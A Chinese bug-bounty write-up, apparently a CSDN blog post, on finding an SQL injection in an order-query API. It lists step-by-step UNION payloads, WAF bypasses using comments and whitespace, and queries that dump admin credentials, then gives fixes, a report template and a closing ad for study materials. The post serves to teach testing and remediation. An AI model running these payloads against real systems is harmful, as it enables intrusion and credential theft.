一次高危 SQL 注入挖掘全过程,附完整 Payload 与绕过思路
摘要
本文完整记录一次 SRC 高危 SQL 注入漏洞实战挖掘全流程,从前期信息收集、接口发现、注入点探测、闭合方式判断、WAF 拦截分析、多种绕过手段测试,到库表读取、漏洞验证、风险评估,最后附上 SRC 漏洞报告撰写要点与修复方案。文中提供全套可复现 Payload,同时梳理 SQL 注入挖洞的通用思路,帮助新手白帽减少误报、学会 WAF 绕过。本文所有操作均在厂商授权测试范围内完成,严禁对任何未授权系统进行扫描、注入、数据读取等渗透行为,违规操作将承担对应的法律责任。
免责声明:本文所展示 Payload、攻击思路仅用于网络安全学习、靶场练习与授权范围内的安全测试。未经目标系统所有者书面授权,禁止扫描、渗透、读取任何网站数据。由此产生的一切法律责任,由操作人自行承担。
0x00 前言
很多新手白帽挖 SQL 注入有一个误区:直接拿着一堆 Payload 批量跑,扫到报错就直接提交漏洞报告,结果大量误报被驳回。真正实战挖洞,讲究循序渐进,先观察业务逻辑,再试探参数行为,遇到 WAF 拦截不能死磕单一 Payload,要多尝试不同绕过思路。
本次遇到的目标是企业业务子站,主站安全防护做得相对完善,常规扫描很难找到突破口。在对子域名、后台接口、遗留页面做信息收集的时候,发现这个订单查询接口,GET 参数直接带入数据库查询,存在典型 SQL 注入风险。这也是很多企业最容易忽略的地方:只重视主站防护,忽视各类业务子系统、内部查询接口。
0x01 信息收集,发现可疑业务接口
日常 SRC 挖洞,子域名扫描是信息收集的核心环节之一。使用子域名探测工具批量收集目标资产,过滤掉静态资源站、文档站之后,重点筛选带参数的动态业务接口。
本次发现接口地址:
shturl.cc/RMjRmhmvgPXfOljRy1I6FawDdxUBjwwgL7LPs0s访问接口直接返回 JSON 格式订单数据,字段包含订单号、创建时间、状态、客户编号等信息。
接口功能:前端传入 orderId,后端根据订单 ID 查询单条订单记录返回给前端。
初步观察特征:
- GET 请求,参数 orderId 直接拼接在 URL 中;
- 参数可控,用户可以任意修改 orderId 的值;
- 返回结构化 JSON,没有复杂页面渲染,方便观察注入后的返回结果;
- 没有对参数进行严格过滤,修改参数后页面会发生变化。
猜想后端原始 SQL 语句:
SELECT id,order_no,create_time,status FROM order_table WHERE orderId = 10086;这里开发直接把前端传入的 orderId 拼接到 SQL 语句,没有使用预编译,一旦没有做好输入过滤,极易产生 SQL 注入。
挖洞小技巧:优先观察查询类接口,查询订单、用户信息、商品详情这类接口,最容易出现 SQL 注入。提交、修改类接口更多出现逻辑漏洞。
0x02 初步探测,确认注入存在与闭合方式
拿到可疑接口之后,不要直接上 union select,第一步先测试参数是否存在注入。
2.1 单引号测试
修改 URL 参数,增加单引号,用来破坏原有 SQL 语法:
shturl.cc/RMjRmhmvgPXfOljRy1I6FawDdxUBjwwgL7LPs0s'访问接口,页面直接抛出 MySQL 数据库语法错误堆栈信息,暴露数据库版本、表名路径。
重点标记:生产环境开启详细数据库报错,属于高危配置缺陷,攻击者可以利用报错快速获取数据库结构信息。
单引号直接触发语法报错,说明参数没有做转义,后端直接把单引号带入 SQL 执行。
2.2 逻辑真假测试,确认可控
测试 Payload1(逻辑真)
orderId=10086' and '1'='1接口正常返回订单数据,和原始请求结果一致。
测试 Payload2(逻辑假)
orderId=10086' and '1'='2接口返回空 JSON,无订单数据。
两次请求返回结果明显不同,说明我们输入的逻辑表达式被后端数据库执行,确认单引号闭合字符型注入。
区分数字型和字符型注入小技巧:数字型注入不需要单引号,字符型注入需要单引号闭合原有 SQL 语句字符串。
2.3 Order by 判断查询字段数量
联合查询注入,必须知道 select 查询返回多少列,否则 union 语句语法报错。
依次尝试:
orderId=10086' order by 1--+ orderId=10086' order by 2--+ orderId=10086' order by 3--+ orderId=10086' order by 4--+order by 1/2/3正常返回,order by 4直接数据库报错。
结论:查询语句返回3 个字段。
2.4 Union Select 基础测试
构造 union 查询 Payload:
orderId=10086' union select 1,2,3--+发送请求,直接 403 Forbidden,WAF 拦截。
可以看到 WAF 识别union select关键字,直接阻断请求。这也是本次注入最大难点,需要寻找 WAF 绕过方案。
0x03 WAF 拦截分析与多方案绕过测试
目标 WAF 属于中小型商用 WAF,基于关键字正则匹配,没有深度 SQL 语法解析。只要检测到union、select、and等关键词就触发拦截。
下面依次测试多种绕过方案,记录成功与失败案例。
方案 1:大小写变形绕过(失败)
Payload:
orderId=10086' UNIon sElEcT 1,2,3--+原理:MySQL 关键字大小写不敏感,试图打乱大小写规避正则。
测试结果:WAF 新版规则识别大小写变形,依旧 403 拦截。
方案 2:关键字内联注释分割(成功)
Payload:
orderId=10086' union/**/select 1,2,3--+原理:/**/是 MySQL 注释符号,WAF 正则匹配连续字符串union select,在中间插入注释打断连续关键词。
数据库执行 SQL 时,会直接忽略注释里面内容,最终执行语句等价于union select。
发送 Payload,成功绕过 WAF。接口返回 JSON 中出现数字2,确定第二个字段为回显位,可以用来输出查询数据。
拓展:除了
/**/,还可以使用/*!50001*/MySQL 特有注释,在高版本 MySQL 同样可以执行,作为备选 Payload。
备选 Payload:orderId=10086' union/*!50001*/select 1,2,3--+
方案 3:空白字符替换(备选绕过)
如果注释被拦截,可以替换空格,使用%09(tab)、%0a换行符替代空格。
示例 Payload:
orderId=10086' union%09select 1,2,3--+注意:部分 WAF 会拦截 url 编码字符,作为备用方案。
方案 4:编码绕过(本次未使用)
双重 URL 编码、Unicode 编码,适合一些老旧 WAF,但是现在大部分 WAF 会自动解码再检测,成功率较低,一般放在最后测试。
0x04 分步 Payload 读取数据库信息
确定回显位之后,分步读取数据库信息,循序渐进,不要一次性查询大量数据,防止触发 WAF 高频拦截。
4.1 查询当前数据库名
Payload:
orderId=10086' union/**/select 1,database(),3--+接口回显数据库名称:business_db
4.2 查询当前库下所有数据表
Payload:
orderId=10086' union/**/select 1,group_concat(table_name),3 from information_schema.tables where table_schema='business_db'--+返回所有表名称,其中发现敏感表:user_info、admin_account、operation_log。admin_account明显为管理员账号表,存在高危敏感数据。
group_concat 作用:把多行结果拼接成一行返回,适合 union 注入单行回显场景。缺点:数据过长会截断,表数量多的时候可以使用 limit 分页读取。
分页读取表名备选 Payload:
orderId=10086' union/**/select 1,table_name,3 from information_schema.tables where table_schema='business_db' limit 0,1--+4.3 查询 admin_account 表字段信息
Payload:
orderId=10086' union/**/select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin_account'--+返回字段列表:id,username,password,phone,create_at。
包含管理员账号、密码、手机号,属于极高敏感数据。
4.4 读取管理员账号与密码
Payload:
orderId=10086' union/**/select 1,group_concat(username,0x7c,password),3 from admin_account--+0x7c 是|十六进制字符,用来分隔账号密码,方便区分每组数据。
接口成功返回管理员账号和 MD5 加密密码,拿到加密哈希值,可在彩虹表解密。
4.5 读取普通用户信息(可选)
orderId=10086' union/**/select 1,group_concat(username,0x7c,phone),3 from user_info limit 0,5--+实战挖洞注意:不要导出大量真实用户数据,验证漏洞存在即可。提交 SRC 报告只保留证明注入能力的截图,不批量拉取完整用户库,保护用户隐私,也避免厂商投诉。
0x05 漏洞深度分析
5.1 漏洞成因
- 未使用参数化预编译 SQL,直接将前端传入 orderId 拼入 SQL 语句,是 SQL 注入最根本原因;
- 生产环境开启详细数据库错误堆栈,泄露数据库结构、路径信息,极大方便攻击者探测;
- 输入校验缺失:orderId 业务上只允许纯数字,后端没有做白名单校验,直接接收单引号等特殊字符;
- WAF 防护薄弱,仅基于简单关键字正则匹配,无法识别注释分割后的 SQL 语句;
- 数据库业务账号权限过高,业务账号可以访问
information_schema系统库,攻击者能够查询库表结构。
5.2 漏洞影响等级:高危
攻击者成功利用该漏洞可以:
- 查询数据库全部表结构;
- 获取管理员账号密码、手机号等敏感信息;
- 读取业务订单、用户隐私数据;
- 如果数据库账号权限更高,可尝试写入文件,拿到服务器 Webshell,控制服务器。
0x06 漏洞修复方案(可直接给到开发 / 运维)
- 核心修复:使用预编译语句(参数化查询 PreparedStatement)
Java、PHP、Python 等语言均支持预编译,用户输入作为参数传入,不会参与 SQL 语句解析,从根源杜绝 SQL 注入。这是防御 SQL 注入首选方案,WAF 只能作为辅助。 - 输入白名单校验
orderId 业务场景只能是数字,后端增加校验,非数字输入直接拒绝,返回自定义错误,不再进入数据库查询逻辑。 - 关闭生产环境详细报错
统一自定义错误页面,禁止抛出原始 MySQL 错误堆栈,避免泄露数据库信息。 - 数据库最小权限原则
业务数据库账号只分配业务表读写权限,禁止访问 information_schema、mysql 系统库。即使发生注入,也无法查询库表结构。 - 优化 WAF 策略
增加 SQL 语法语义检测,不只是简单关键字匹配;添加异常请求频率限制,拦截短时间大量 Payload 探测行为。 - 代码审计与安全测试
上线前对接口做安全测试,重点排查查询类接口,定期代码审计,排查字符串拼接 SQL 的写法。
0x07 SRC 漏洞报告撰写与提交经验
很多新手挖到漏洞,但是报告写得很差,被厂商驳回。本次高危漏洞报告结构,可以直接复用。
漏洞报告模板
- 漏洞标题:高危 - 某子站订单查询接口存在 SQL 注入漏洞
- 漏洞 URL:填写接口地址
- 漏洞参数:orderId
- 漏洞等级:高危
- 漏洞描述:简要描述漏洞原理和危害,不要过长
- 复现步骤
① 访问接口,传入带单引号参数触发数据库报错;
② 使用 and 逻辑测试,证明参数可执行 SQL;
③ 构造 union 注入 Payload,绕过 WAF 读取数据库名;
④ 查询管理员账号表,成功读取管理员凭证。 - Payload 清单:附上本次使用 Payload
- 证据截图:
重要:截图不要放大量用户明文隐私数据,只证明注入生效。
- 报错截图;
- 真假逻辑返回对比截图;
- 成功读取数据库名截图;
- 读取管理员表截图;
- 修复建议:把上面修复方案粘贴进去。
提交注意事项
- 不要批量导出完整数据库数据,SRC 只需要证明漏洞存在;
- 不要修改、删除目标数据,只读测试;
- 测试完成后,停止注入操作,不要持续扫描;
- 提交漏洞后,等待厂商确认,不对外泄露目标资产信息。
0x08 挖洞踩坑复盘与学习思考
- 不要依赖自动化扫描器。扫描器只能发现基础注入点,WAF 绕过思路需要人工测试。很多扫描器 Payload 直接被 WAF 拦截,扫不出漏洞;
- 遇到 WAF 不要直接放弃,由简单到复杂依次测试绕过方案,优先尝试注释分割、空白替换;
- 分清真假注入:有些页面返回内容变化只是前端页面渲染问题,并不是 SQL 语句执行,盲目提交会产生大量误报;
- 防御层面,WAF 永远是锦上添花,代码层预编译才是根治 SQL 注入的核心。很多企业认为部署 WAF 就可以高枕无忧,这是巨大误区。WAF 很容易被各种技巧绕过。
- 资产测绘优先关注子域名和辅助业务接口,主站防护强,附属业务接口往往是薄弱突破口。
0x09 拓展学习:SQL 注入其他类型
本次案例属于 GET 型联合查询注入,SQL 注入还有其他类型,后续可以继续学习:
- POST 表单注入
- 报错注入(不能回显 union 场景)
- 布尔盲注(没有数据回显,依靠页面真假判断)
- 时间盲注(页面无任何变化,依靠 sleep 延时判断)
- 堆叠查询注入
- HTTP 头部注入(Cookie、Referer、User-Agent 注入)
最后
关于网络安全技术储备
学好网络安全不论是就业还是做副业赚钱都不错,但要学会网络安全还是要有一个学习规划。最后大家分享一份全套的网络安全学习资料,给那些想学习网络安全的小伙伴们一点帮助!
对于0基础小白入门:
如果你是零基础小白,想快速入门网络安全是可以考虑的。
一方面是学习时间相对较短,学习内容更全面更集中。
二方面是可以找到适合自己的学习方案
包括:网安成长学习路线图、SRC&黑客文档、护网行动、黑客必读书单、面试题、学习视频等教程。带你从零基础系统性的学好网络安全!
需要的可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】
👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)
👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)
👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
👉5.黑客必读书单👈
随着互联网技术的飞速发展,网络安全已经成为了当今科技领域的一大热点。这些SQL注入、CCNA、Web渗透、Linux服务器等,以其强大的语言理解和防御能力,正在守护着我们网络世界。 那以下这些PDF籍就是非常不错的学习资源。
👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】